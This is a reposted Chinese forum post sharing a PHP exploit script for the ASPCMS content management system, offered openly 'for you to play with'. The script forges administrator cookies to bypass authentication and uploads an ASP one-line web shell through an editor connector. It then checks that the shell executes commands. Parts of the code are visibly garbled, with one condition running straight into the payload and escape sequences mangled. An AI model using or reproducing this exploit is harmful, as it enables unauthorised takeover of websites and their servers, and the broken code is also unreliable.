aspcms EXP 批量型

唉，没办法了，放手里也没用，给你们玩玩吧

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet){
 $sock = fsockopen($host, 80);
if (!$sock) die("$errstr ($errno)n");

 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 //print $resp;
 return $resp;

}

function connector_response($host,$html){
preg_match('/SetEditorContents('Content','(.*?)')/',$html,$arr);
if (strpos($arr[1],".cdx")){
print "n[-] Get Shell: http://".$host."/".$arr[1]." n";
Checkshell($host,$arr[1]);
}
else{
echo "n[-] Exploit Failure n";
}
}
if ($argc execute(request("cun"))'."rn".'%'.'>'."n";
$payload .= "-----------------------------265001916915724--rn";
$packet  = "POST {$connector} HTTP/1.1rn";
$packet .= "Host: {$host}rn";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Cookie: username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9rn";
$packet .= "Connection: closernrn";
$packet .= $payload;
//print $packet;
connector_response($host,http_send($host, $packet));

function Checkshell($url,$path){
//$Shell="http://$url$path?cun=response.write+413783480"; 
$payload .= "cun=response.write+413783480rn";
$packet  = "POST $path?cun=response.write+413783480 HTTP/1.1rn";
$packet .= "Host: {$url}rn";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Cookie: username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9rn";
$packet .= "Connection: closernrn";
$packet .= $payload;
 $sock = fsockopen($url, 80);
if (!$sock) die("$errstr ($errno)n");
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 //print $resp;
if(strpos($resp,"413783480")||strpos($resp,"execute")){
echo "[*] Shell Can Usen" ;
}else{
echo "[*] Shell Can't Usen";
}
}
?>

转自：http://www.90sec.org/thread-1631-1-1.html

留言评论（旧系统）：

文章来源于lcx.cc:aspcms EXP 批量型